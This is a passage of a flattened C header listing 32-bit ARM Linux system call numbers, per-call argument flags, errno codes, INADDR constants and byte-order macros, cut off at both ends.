__NR_mkdir (0+ 39)\n#define __NR_rmdir (0+ 40)\n#define __NR_dup (0+ 41)\n#define __NR_pipe (0+ 42)\n#define __NR_times (0+ 43)\n#define __NR_brk (0+ 45)\n#define __NR_setgid (0+ 46)\n#define __NR_getgid (0+ 47)\n#define __NR_geteuid (0+ 49)\n#define __NR_getegid (0+ 50)\n#define __NR_acct (0+ 51)\n#define __NR_umount2 (0+ 52)\n#define __NR_ioctl (0+ 54)\n#define __NR_fcntl (0+ 55)\n#define __NR_setpgid (0+ 57)\n#define __NR_umask (0+ 60)\n#define __NR_chroot (0+ 61)\n#define __NR_ustat (0+ 62)\n#define __NR_dup2 (0+ 63)\n#define __NR_getppid (0+ 64)\n#define __NR_getpgrp (0+ 65)\n#define __NR_setsid (0+ 66)\n#define __NR_sigaction (0+ 67)\n#define __NR_setreuid (0+ 70)\n#define __NR_setregid (0+ 71)\n#define __NR_sigsuspend (0+ 72)\n#define __NR_sigpending (0+ 73)\n#define __NR_sethostname (0+ 74)\n#define __NR_setrlimit (0+ 75)\n#define __NR_getrlimit (0+ 76)\n#define __NR_getrusage (0+ 77)\n#define __NR_gettimeofday (0+ 78)\n#define __NR_settimeofday (0+ 79)\n#define __NR_getgroups (0+ 80)\n#define __NR_setgroups (0+ 81)\n#define __NR_select (0+ 82)\n#define __NR_symlink (0+ 83)\n#define __NR_readlink (0+ 85)\n#define __NR_uselib (0+ 86)\n#define __NR_swapon (0+ 87)\n#define __NR_reboot (0+ 88)\n#define __NR_readdir (0+ 89)\n#define __NR_mmap (0+ 90)\n#define __NR_munmap (0+ 91)\n#define __NR_truncate (0+ 92)\n#define __NR_ftruncate (0+ 93)\n#define __NR_fchmod (0+ 94)\n#define __NR_fchown (0+ 95)\n#define __NR_getpriority (0+ 96)\n#define __NR_setpriority (0+ 97)\n#define __NR_statfs (0+ 99)\n#define __NR_fstatfs (0+100)\n#define __NR_socketcall (0+102)\n#define __NR_syslog (0+103)\n#define __NR_setitimer (0+104)\n#define __NR_getitimer (0+105)\n#define __NR_stat (0+106)\n#define __NR_lstat (0+107)\n#define __NR_fstat (0+108)\n#define __NR_vhangup (0+111)\n#define __NR_syscall (0+113)\n#define __NR_wait4 (0+114)\n#define __NR_swapoff (0+115)\n#define __NR_sysinfo (0+116)\n#define __NR_ipc (0+117)\n#define __NR_fsync (0+118)\n#define __NR_sigreturn (0+119)\n#define __NR_clone (0+120)\n#define __NR_setdomainname (0+121)\n#define __NR_uname (0+122)\n#define __NR_adjtimex (0+124)\n#define __NR_mprotect (0+125)\n#define __NR_sigprocmask (0+126)\n#define __NR_init_module (0+128)\n#define __NR_delete_module (0+129)\n#define __NR_quotactl (0+131)\n#define __NR_getpgid (0+132)\n#define __NR_fchdir (0+133)\n#define __NR_bdflush (0+134)\n#define __NR_sysfs (0+135)\n#define __NR_personality (0+136)\n#define __NR_setfsuid (0+138)\n#define __NR_setfsgid (0+139)\n#define __NR__llseek (0+140)\n#define __NR_getdents (0+141)\n#define __NR__newselect (0+142)\n#define __NR_flock (0+143)\n#define __NR_msync (0+144)\n#define __NR_readv (0+145)\n#define __NR_writev (0+146)\n#define __NR_getsid (0+147)\n#define __NR_fdatasync (0+148)\n#define __NR__sysctl (0+149)\n#define __NR_mlock (0+150)\n#define __NR_munlock (0+151)\n#define __NR_mlockall (0+152)\n#define __NR_munlockall (0+153)\n#define __NR_sched_setparam (0+154)\n#define __NR_sched_getparam (0+155)\n#define __NR_sched_setscheduler (0+156)\n#define __NR_sched_getscheduler (0+157)\n#define __NR_sched_yield (0+158)\n#define __NR_sched_get_priority_max (0+159)\n#define __NR_sched_get_priority_min (0+160)\n#define __NR_sched_rr_get_interval (0+161)\n#define __NR_nanosleep (0+162)\n#define __NR_mremap (0+163)\n#define __NR_setresuid (0+164)\n#define __NR_getresuid (0+165)\n#define __NR_poll (0+168)\n#define __NR_nfsservctl (0+169)\n#define __NR_setresgid (0+170)\n#define __NR_getresgid (0+171)\n#define __NR_prctl (0+172)\n#define __NR_rt_sigreturn (0+173)\n#define __NR_rt_sigaction (0+174)\n#define __NR_rt_sigprocmask (0+175)\n#define __NR_rt_sigpending (0+176)\n#define __NR_rt_sigtimedwait (0+177)\n#define __NR_rt_sigqueueinfo (0+178)\n#define __NR_rt_sigsuspend (0+179)\n#define __NR_pread64 (0+180)\n#define __NR_pwrite64 (0+181)\n#define __NR_chown (0+182)\n#define __NR_getcwd (0+183)\n#define __NR_capget (0+184)\n#define __NR_capset (0+185)\n#define __NR_sigaltstack (0+186)\n#define __NR_sendfile (0+187)\n#define __NR_vfork (0+190)\n#define __NR_ugetrlimit (0+191)\n#define __NR_mmap2 (0+192)\n#define __NR_truncate64 (0+193)\n#define __NR_ftruncate64 (0+194)\n#define __NR_stat64 (0+195)\n#define __NR_lstat64 (0+196)\n#define __NR_fstat64 (0+197)\n#define __NR_lchown32 (0+198)\n#define __NR_getuid32 (0+199)\n#define __NR_getgid32 (0+200)\n#define __NR_geteuid32 (0+201)\n#define __NR_getegid32 (0+202)\n#define __NR_setreuid32 (0+203)\n#define __NR_setregid32 (0+204)\n#define __NR_getgroups32 (0+205)\n#define __NR_setgroups32 (0+206)\n#define __NR_fchown32 (0+207)\n#define __NR_setresuid32 (0+208)\n#define __NR_getresuid32 (0+209)\n#define __NR_setresgid32 (0+210)\n#define __NR_getresgid32 (0+211)\n#define __NR_chown32 (0+212)\n#define __NR_setuid32 (0+213)\n#define __NR_setgid32 (0+214)\n#define __NR_setfsuid32 (0+215)\n#define __NR_setfsgid32 (0+216)\n#define __NR_getdents64 (0+217)\n#define __NR_pivot_root (0+218)\n#define __NR_mincore (0+219)\n#define __NR_madvise (0+220)\n#define __NR_fcntl64 (0+221)\n#define __NR_gettid (0+224)\n#define __NR_readahead (0+225)\n#define __NR_setxattr (0+226)\n#define __NR_lsetxattr (0+227)\n#define __NR_fsetxattr (0+228)\n#define __NR_getxattr (0+229)\n#define __NR_lgetxattr (0+230)\n#define __NR_fgetxattr (0+231)\n#define __NR_listxattr (0+232)\n#define __NR_llistxattr (0+233)\n#define __NR_flistxattr (0+234)\n#define __NR_removexattr (0+235)\n#define __NR_lremovexattr (0+236)\n#define __NR_fremovexattr (0+237)\n#define __NR_tkill (0+238)\n#define __NR_sendfile64 (0+239)\n#define __NR_futex (0+240)\n#define __NR_sched_setaffinity (0+241)\n#define __NR_sched_getaffinity (0+242)\n#define __NR_io_setup (0+243)\n#define __NR_io_destroy (0+244)\n#define __NR_io_getevents (0+245)\n#define __NR_io_submit (0+246)\n#define __NR_io_cancel (0+247)\n#define __NR_exit_group (0+248)\n#define __NR_lookup_dcookie (0+249)\n#define __NR_epoll_create (0+250)\n#define __NR_epoll_ctl (0+251)\n#define __NR_epoll_wait (0+252)\n#define __NR_remap_file_pages (0+253)\n#define __NR_set_tid_address (0+256)\n#define __NR_timer_create (0+257)\n#define __NR_timer_settime (0+258)\n#define __NR_timer_gettime (0+259)\n#define __NR_timer_getoverrun (0+260)\n#define __NR_timer_delete (0+261)\n#define __NR_clock_settime (0+262)\n#define __NR_clock_gettime (0+263)\n#define __NR_clock_getres (0+264)\n#define __NR_clock_nanosleep (0+265)\n#define __NR_statfs64 (0+266)\n#define __NR_fstatfs64 (0+267)\n#define __NR_tgkill (0+268)\n#define __NR_utimes (0+269)\n#define __NR_arm_fadvise64_64 (0+270)\n#define __NR_pciconfig_iobase (0+271)\n#define __NR_pciconfig_read (0+272)\n#define __NR_pciconfig_write (0+273)\n#define __NR_mq_open (0+274)\n#define __NR_mq_unlink (0+275)\n#define __NR_mq_timedsend (0+276)\n#define __NR_mq_timedreceive (0+277)\n#define __NR_mq_notify (0+278)\n#define __NR_mq_getsetattr (0+279)\n#define __NR_waitid (0+280)\n#define __NR_socket (0+281)\n#define __NR_bind (0+282)\n#define __NR_connect (0+283)\n#define __NR_listen (0+284)\n#define __NR_accept (0+285)\n#define __NR_getsockname (0+286)\n#define __NR_getpeername (0+287)\n#define __NR_socketpair (0+288)\n#define __NR_send (0+289)\n#define __NR_sendto (0+290)\n#define __NR_recv (0+291)\n#define __NR_recvfrom (0+292)\n#define __NR_shutdown (0+293)\n#define __NR_setsockopt (0+294)\n#define __NR_getsockopt (0+295)\n#define __NR_sendmsg (0+296)\n#define __NR_recvmsg (0+297)\n#define __NR_semop (0+298)\n#define __NR_semget (0+299)\n#define __NR_semctl (0+300)\n#define __NR_msgsnd (0+301)\n#define __NR_msgrcv (0+302)\n#define __NR_msgget (0+303)\n#define __NR_msgctl (0+304)\n#define __NR_shmat (0+305)\n#define __NR_shmdt (0+306)\n#define __NR_shmget (0+307)\n#define __NR_shmctl (0+308)\n#define __NR_add_key (0+309)\n#define __NR_request_key (0+310)\n#define __NR_keyctl (0+311)\n#define __NR_semtimedop (0+312)\n#define __NR_vserver (0+313)\n#define __NR_ioprio_set (0+314)\n#define __NR_ioprio_get (0+315)\n#define __NR_inotify_init (0+316)\n#define __NR_inotify_add_watch (0+317)\n#define __NR_inotify_rm_watch (0+318)\n#define __NR_mbind (0+319)\n#define __NR_get_mempolicy (0+320)\n#define __NR_set_mempolicy (0+321)\n#define __NR_openat (0+322)\n#define __NR_mkdirat (0+323)\n#define __NR_mknodat (0+324)\n#define __NR_fchownat (0+325)\n#define __NR_futimesat (0+326)\n#define __NR_fstatat64 (0+327)\n#define __NR_unlinkat (0+328)\n#define __NR_renameat (0+329)\n#define __NR_linkat (0+330)\n#define __NR_symlinkat (0+331)\n#define __NR_readlinkat (0+332)\n#define __NR_fchmodat (0+333)\n#define __NR_faccessat (0+334)\n#define __NR_unshare (0+337)\n#define __NR_set_robust_list (0+338)\n#define __NR_get_robust_list (0+339)\n#define __NR_splice (0+340)\n#define __NR_arm_sync_file_range (0+341)\n#define __NR_tee (0+342)\n#define __NR_vmsplice (0+343)\n#define __NR_move_pages (0+344)\n#define __NR_getcpu (0+345)\n#define __NR_kexec_load (0+347)\n#define __NR_utimensat (0+348)\n#define __NR_signalfd (0+349)\n#define __NR_timerfd (0+350)\n#define __NR_eventfd (0+351)\n#define __NR_fallocate (0+352)\n#define __NR_timerfd_settime (0+353)\n#define __NR_timerfd_gettime (0+354)\n#define __NR_signalfd4 (0+355)\n#define __NR_eventfd2 (0+356)\n#define __NR_epoll_create1 (0+357)\n#define __NR_dup3 (0+358)\n#define __NR_pipe2 (0+359)\n#define __NR_inotify_init1 (0+360)\n#define __NR_preadv (0+361)\n#define __NR_pwritev (0+362)\n#define __NR_rt_tgsigqueueinfo (0+363)\n#define __NR_perf_event_open (0+364)\n#define __NR_recvmmsg (0+365)\n#define __NR_accept4 (0+366)\n#define __NR_fanotify_init (0+367)\n#define __NR_fanotify_mark (0+368)\n#define __NR_prlimit64 (0+369)\n#define __NR_name_to_handle_at (0+370)\n#define __NR_open_by_handle_at (0+371)\n#define __NR_clock_adjtime (0+372)\n#define __NR_syncfs (0+373)\n#define __NR_sendmmsg (0+374)\n#define __NR_setns (0+375)\n#define __NR_process_vm_readv (0+376)\n#define __NR_process_vm_writev (0+377)\n#define __NR_kcmp (0+378)\n#define __NR_finit_module (0+379)\n#define __NR_sched_setattr (0+380)\n#define __NR_sched_getattr (0+381)\n#define __NR_renameat2 (0+382)\n#define __NR_seccomp (0+383)\n#define __NR_getrandom (0+384)\n#define __NR_memfd_create (0+385)\n#define __NR_bpf (0+386)\n#define __NR_execveat (0+387)\n#define __NR_userfaultfd (0+388)\n#define __NR_membarrier (0+389)\n#define __NR_mlock2 (0+390)\n#define __NR_copy_file_range (0+391)\n#define __NR_preadv2 (0+392)\n#define __NR_pwritev2 (0+393)\n#define __NR_pkey_mprotect (0 + 394)\n#define __NR_pkey_alloc (0 + 395)\n#define __NR_pkey_free (0 + 396)\n#define __NR_statx (0 + 397)\n#define __NR_rseq (0 + 398)\n#define __NR_io_pgetevents (0 + 399)\n#define __NR_migrate_pages (0 + 400)\n#define __NR_kexec_file_load (0 + 401)\n#define __NR_clock_gettime64 (0 + 403)\n#define __NR_clock_settime64 (0 + 404)\n#define __NR_clock_adjtime64 (0 + 405)\n#define __NR_clock_getres_time64 (0 + 406)\n#define __NR_clock_nanosleep_time64 (0 + 407)\n#define __NR_timer_gettime64 (0 + 408)\n#define __NR_timer_settime64 (0 + 409)\n#define __NR_timerfd_gettime64 (0 + 410)\n#define __NR_timerfd_settime64 (0 + 411)\n#define __NR_utimensat_time64 (0 + 412)\n#define __NR_pselect6_time64 (0 + 413)\n#define __NR_ppoll_time64 (0 + 414)\n#define __NR_io_pgetevents_time64 (0 + 416)\n#define __NR_recvmmsg_time64 (0 + 417)\n#define __NR_mq_timedsend_time64 (0 + 418)\n#define __NR_mq_timedreceive_time64 (0 + 419)\n#define __NR_semtimedop_time64 (0 + 420)\n#define __NR_rt_sigtimedwait_time64 (0 + 421)\n#define __NR_futex_time64 (0 + 422)\n#define __NR_sched_rr_get_interval_time64 (0 + 423)\n#define __NR_pidfd_send_signal (0 + 424)\n#define __NR_io_uring_setup (0 + 425)\n#define __NR_io_uring_enter (0 + 426)\n#define __NR_io_uring_register (0 + 427)\n#define __NR_open_tree (0 + 428)\n#define __NR_move_mount (0 + 429)\n#define __NR_fsopen (0 + 430)\n#define __NR_fsconfig (0 + 431)\n#define __NR_fsmount (0 + 432)\n#define __NR_fspick (0 + 433)\n#define __NR_pidfd_open (0 + 434)\n#define __NR_clone3 (0 + 435)\n#define __NR_openat2 (0 + 437)\n#define __NR_pidfd_getfd (0 + 438)\n#define __ARM_NR_BASE (0+0x0f0000)\n#define __ARM_NR_breakpoint ((0+0x0f0000)+1)\n#define __ARM_NR_cacheflush ((0+0x0f0000)+2)\n#define __ARM_NR_usr26 ((0+0x0f0000)+3)\n#define __ARM_NR_usr32 ((0+0x0f0000)+4)\n#define __ARM_NR_set_tls ((0+0x0f0000)+5)\n#define __ARGS_exit 0\n#define __ARGS_fork 0\n#define __ARGS_read 0\n#define __ARGS_write 0\n#define __ARGS_open 0\n#define __ARGS_close 0\n#define __ARGS_waitpid 0\n#define __ARGS_creat 0\n#define __ARGS_link 0\n#define __ARGS_unlink 0\n#define __ARGS_execve 0\n#define __ARGS_chdir 0\n#define __ARGS_time 0\n#define __ARGS_mknod 0\n#define __ARGS_chmod 0\n#define __ARGS_lchown 0\n#define __ARGS_break 0\n#define __ARGS_lseek 0\n#define __ARGS_getpid 0\n#define __ARGS_mount 1\n#define __ARGS_umount 0\n#define __ARGS_setuid 0\n#define __ARGS_getuid 0\n#define __ARGS_stime 0\n#define __ARGS_ptrace 0\n#define __ARGS_alarm 0\n#define __ARGS_pause 0\n#define __ARGS_utime 0\n#define __ARGS_stty 0\n#define __ARGS_gtty 0\n#define __ARGS_access 0\n#define __ARGS_nice 0\n#define __ARGS_ftime 0\n#define __ARGS_sync 0\n#define __ARGS_kill 0\n#define __ARGS_rename 0\n#define __ARGS_mkdir 0\n#define __ARGS_rmdir 0\n#define __ARGS_dup 0\n#define __ARGS_pipe 0\n#define __ARGS_times 0\n#define __ARGS_prof 0\n#define __ARGS_brk 0\n#define __ARGS_setgid 0\n#define __ARGS_getgid 0\n#define __ARGS_signal 0\n#define __ARGS_geteuid 0\n#define __ARGS_getegid 0\n#define __ARGS_acct 0\n#define __ARGS_umount2 0\n#define __ARGS_lock 0\n#define __ARGS_ioctl 0\n#define __ARGS_fcntl 0\n#define __ARGS_mpx 0\n#define __ARGS_setpgid 0\n#define __ARGS_ulimit 0\n#define __ARGS_umask 0\n#define __ARGS_chroot 0\n#define __ARGS_ustat 0\n#define __ARGS_dup2 0\n#define __ARGS_getppid 0\n#define __ARGS_getpgrp 0\n#define __ARGS_setsid 0\n#define __ARGS_sigaction 0\n#define __ARGS_sgetmask 0\n#define __ARGS_ssetmask 0\n#define __ARGS_setreuid 0\n#define __ARGS_setregid 0\n#define __ARGS_sigsuspend 0\n#define __ARGS_sigpending 0\n#define __ARGS_sethostname 0\n#define __ARGS_setrlimit 0\n#define __ARGS_getrlimit 0\n#define __ARGS_getrusage 0\n#define __ARGS_gettimeofday 0\n#define __ARGS_settimeofday 0\n#define __ARGS_getgroups 0\n#define __ARGS_setgroups 0\n#define __ARGS_select 0\n#define __ARGS_symlink 0\n#define __ARGS_readlink 0\n#define __ARGS_uselib 0\n#define __ARGS_swapon 0\n#define __ARGS_reboot 0\n#define __ARGS_readdir 0\n#define __ARGS_mmap 0\n#define __ARGS_munmap 0\n#define __ARGS_truncate 0\n#define __ARGS_ftruncate 0\n#define __ARGS_fchmod 0\n#define __ARGS_fchown 0\n#define __ARGS_getpriority 0\n#define __ARGS_setpriority 0\n#define __ARGS_profil 0\n#define __ARGS_statfs 0\n#define __ARGS_fstatfs 0\n#define __ARGS_ioperm 0\n#define __ARGS_socketcall 0\n#define __ARGS_syslog 0\n#define __ARGS_setitimer 0\n#define __ARGS_getitimer 0\n#define __ARGS_stat 0\n#define __ARGS_lstat 0\n#define __ARGS_fstat 0\n#define __ARGS_vhangup 0\n#define __ARGS_idle 0\n#define __ARGS_syscall 0\n#define __ARGS_wait4 0\n#define __ARGS_swapoff 0\n#define __ARGS_sysinfo 0\n#define __ARGS_ipc 1\n#define __ARGS_fsync 0\n#define __ARGS_sigreturn 0\n#define __ARGS_clone 0\n#define __ARGS_setdomainname 0\n#define __ARGS_uname 0\n#define __ARGS_modify_ldt 0\n#define __ARGS_adjtimex 0\n#define __ARGS_mprotect 0\n#define __ARGS_sigprocmask 0\n#define __ARGS_create_module 0\n#define __ARGS_init_module 0\n#define __ARGS_delete_module 0\n#define __ARGS_get_kernel_syms 0\n#define __ARGS_quotactl 0\n#define __ARGS_getpgid 0\n#define __ARGS_fchdir 0\n#define __ARGS_bdflush 0\n#define __ARGS_sysfs 0\n#define __ARGS_personality 0\n#define __ARGS_afs_syscall 0\n#define __ARGS_setfsuid 0\n#define __ARGS_setfsgid 0\n#define __ARGS__llseek 1\n#define __ARGS_getdents 0\n#define __ARGS__newselect 1\n#define __ARGS_flock 0\n#define __ARGS_msync 0\n#define __ARGS_readv 0\n#define __ARGS_writev 0\n#define __ARGS_getsid 0\n#define __ARGS_fdatasync 0\n#define __ARGS__sysctl 0\n#define __ARGS_mlock 0\n#define __ARGS_munlock 0\n#define __ARGS_mlockall 0\n#define __ARGS_munlockall 0\n#define __ARGS_sched_setparam 0\n#define __ARGS_sched_getparam 0\n#define __ARGS_sched_setscheduler 0\n#define __ARGS_sched_getscheduler 0\n#define __ARGS_sched_yield 0\n#define __ARGS_sched_get_priority_max 0\n#define __ARGS_sched_get_priority_min 0\n#define __ARGS_sched_rr_get_interval 0\n#define __ARGS_nanosleep 0\n#define __ARGS_mremap 0\n#define __ARGS_setresuid 0\n#define __ARGS_getresuid 0\n#define __ARGS_vm86 0\n#define __ARGS_query_module 1\n#define __ARGS_poll 0\n#define __ARGS_nfsservctl 0\n#define __ARGS_setresgid 0\n#define __ARGS_getresgid 0\n#define __ARGS_prctl 1\n#define __ARGS_rt_sigreturn 0\n#define __ARGS_rt_sigaction 0\n#define __ARGS_rt_sigprocmask 0\n#define __ARGS_rt_sigpending 0\n#define __ARGS_rt_sigtimedwait 0\n#define __ARGS_rt_sigqueueinfo 0\n#define __ARGS_rt_sigsuspend 0\n#define __ARGS_pread 0\n#define __ARGS_pwrite 0\n#define __ARGS_pread64 0\n#define __ARGS_pwrite64 0\n#define __ARGS_chown 0\n#define __ARGS_getcwd 0\n#define __ARGS_capget 0\n#define __ARGS_capset 0\n#define __ARGS_sigaltstack 0\n#define __ARGS_sendfile 0\n#define __ARGS_vfork 0\n#define __ARGS_ugetrlimit 0\n#define __ARGS_mmap2 1\n#define __ARGS_truncate64 0\n#define __ARGS_ftruncate64 0\n#define __ARGS_stat64 0\n#define __ARGS_lstat64 0\n#define __ARGS_fstat64 0\n#define __ARGS_lchown32 0\n#define __ARGS_getuid32 0\n#define __ARGS_getgid32 0\n#define __ARGS_geteuid32 0\n#define __ARGS_getegid32 0\n#define __ARGS_setreuid32 0\n#define __ARGS_setregid32 0\n#define __ARGS_getgroups32 0\n#define __ARGS_setgroups32 0\n#define __ARGS_fchown32 0\n#define __ARGS_setresuid32 0\n#define __ARGS_getresuid32 0\n#define __ARGS_setresgid32 0\n#define __ARGS_getresgid32 0\n#define __ARGS_chown32 0\n#define __ARGS_setuid32 0\n#define __ARGS_setgid32 0\n#define __ARGS_setfsuid32 0\n#define __ARGS_setfsgid32 0\n#define __ARGS_getdents64 0\n#define __ARGS_pivot_root 0\n#define __ARGS_mincore 0\n#define __ARGS_madvise 0\n#define __ARGS_fcntl64 0\n#define __ARGS_security 0\n#define __ARGS_gettid 0\n#define __ARGS_readahead 0\n#define __ARGS_setxattr 1\n#define __ARGS_lsetxattr 1\n#define __ARGS_fsetxattr 1\n#define __ARGS_getxattr 0\n#define __ARGS_lgetxattr 0\n#define __ARGS_fgetxattr 0\n#define __ARGS_listxattr 0\n#define __ARGS_llistxattr 0\n#define __ARGS_flistxattr 0\n#define __ARGS_removexattr 0\n#define __ARGS_lremovexattr 0\n#define __ARGS_fremovexattr 0\n#define __ARGS_tkill 0\n#define __ARGS_sendfile64 0\n#define __ARGS_futex 0\n#define __ARGS_sched_setaffinity 0\n#define __ARGS_sched_getaffinity 0\n#define __ARGS_io_setup 0\n#define __ARGS_io_destroy 0\n#define __ARGS_io_getevents 0\n#define __ARGS_io_submit 0\n#define __ARGS_io_cancel 0\n#define __ARGS_exit_group 0\n#define __ARGS_lookup_dcookie 0\n#define __ARGS_epoll_create 0\n#define __ARGS_epoll_ctl 0\n#define __ARGS_epoll_wait 0\n#define __ARGS_remap_file_pages 0\n#define __ARGS_set_thread_area 0\n#define __ARGS_get_thread_area 0\n#define __ARGS_set_tid_address 0\n#define __ARGS_timer_create 0\n#define __ARGS_timer_settime 0\n#define __ARGS_timer_gettime 0\n#define __ARGS_timer_getoverrun 0\n#define __ARGS_timer_delete 0\n#define __ARGS_clock_settime 0\n#define __ARGS_clock_gettime 0\n#define __ARGS_clock_getres 0\n#define __ARGS_clock_nanosleep 0\n#define __ARGS_statfs64 0\n#define __ARGS_fstatfs64 0\n#define __ARGS_tgkill 0\n#define __ARGS_utimes 0\n#define __ARGS_arm_fadvise64_64 1\n#define __ARGS_fadvise64 0\n#define __ARGS_fadvise64_64 0\n#define __ARGS_pciconfig_iobase 0\n#define __ARGS_pciconfig_read 1\n#define __ARGS_pciconfig_write 1\n#define __ARGS_mq_open 0\n#define __ARGS_mq_unlink 0\n#define __ARGS_mq_timedsend 0\n#define __ARGS_mq_timedreceive 1\n#define __ARGS_mq_notify 0\n#define __ARGS_mq_getsetattr 0\n#define __ARGS_waitid 0\n#define __ARGS_socket 0\n#define __ARGS_bind 0\n#define __ARGS_connect 0\n#define __ARGS_listen 0\n#define __ARGS_accept 0\n#define __ARGS_getsockname 0\n#define __ARGS_getpeername 0\n#define __ARGS_socketpair 0\n#define __ARGS_send 0\n#define __ARGS_sendto 1\n#define __ARGS_recv 0\n#define __ARGS_recvfrom 1\n#define __ARGS_shutdown 0\n#define __ARGS_setsockopt 0\n#define __ARGS_getsockopt 0\n#define __ARGS_sendmsg 0\n#define __ARGS_recvmsg 0\n#define __ARGS_semop 0\n#define __ARGS_semget 0\n#define __ARGS_semctl 0\n#define __ARGS_msgsnd 0\n#define __ARGS_msgrcv 0\n#define __ARGS_msgget 0\n#define __ARGS_msgctl 0\n#define __ARGS_shmat 0\n#define __ARGS_shmdt 0\n#define __ARGS_shmget 0\n#define __ARGS_shmctl 0\n#define __ARGS_add_key 1\n#define __ARGS_request_key 1\n#define __ARGS_keyctl 0\n#define __ARGS_vserver 0\n#define __ARGS_ioprio_set 0\n#define __ARGS_ioprio_get 0\n#define __ARGS_inotify_init 0\n#define __ARGS_inotify_add_watch 0\n#define __ARGS_inotify_rm_watch 0\n#define __ARGS_mbind 1\n#define __ARGS_get_mempolicy 1\n#define __ARGS_set_mempolicy 1\n#define __ARGS_openat 0\n#define __ARGS_mkdirat 0\n#define __ARGS_mknodat 0\n#define __ARGS_fchownat 1\n#define __ARGS_futimesat 0\n#define __ARGS_fstatat64 0\n#define __ARGS_unlinkat 0\n#define __ARGS_renameat 0\n#define __ARGS_linkat 1\n#define __ARGS_symlinkat 0\n#define __ARGS_readlinkat 0\n#define __ARGS_fchmodat 0\n#define __ARGS_faccessat 0\n#define __ARGS_unshare 0\n#define __ARGS_set_robust_list 0\n#define __ARGS_get_robust_list 0\n#define __ARGS_splice 1\n#define __ARGS_arm_sync_file_range 0\n#define __ARGS_sync_file_range2 0\n#define __ARGS_tee 0\n#define __ARGS_vmsplice 0\n#define __ARGS_move_pages 1\n#define __ARGS_getcpu 0\n#define __ARGS_kexec_load 0\n#define __ARGS_utimensat 0\n#define __ARGS_signalfd 0\n#define __ARGS_timerfd 0\n#define __ARGS_eventfd 0\n#define __ARGS_fallocate 0\n#define __ARGS_timerfd_settime 0\n#define __ARGS_timerfd_gettime 0\n#define __ARGS_signalfd4 0\n#define __ARGS_eventfd2 0\n#define __ARGS_epoll_create1 0\n#define __ARGS_dup3 0\n#define __ARGS_pipe2 0\n#define __ARGS_inotify_init1 0\n#define __ARGS_preadv 0\n#define __ARGS_pwritev 0\n#define __ARGS_rt_tgsigqueueinfo 0\n#define __ARGS_perf_event_open 1\n#define __ARGS_recvmmsg 1\n#define __ARGS_accept4 0\n#define __ARGS_fanotify_init 0\n#define __ARGS_fanotify_mark 1\n#define __ARGS_prlimit64 0\n#define __ARGS_name_to_handle_at 1\n#define __ARGS_open_by_handle_at 0\n#define __ARGS_clock_adjtime 0\n#define __ARGS_syncfs 0\n#define __ARGS_sendmmsg 0\n#define __ARGS_setns 0\n#define __ARGS_process_vm_readv 1\n#define __ARGS_process_vm_writev 1\n#define __ARGS_kcmp 1\n#define __ARGS_finit_module 0\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 1234\n#define __FLOAT_WORD_ORDER 1234\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 1234\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define 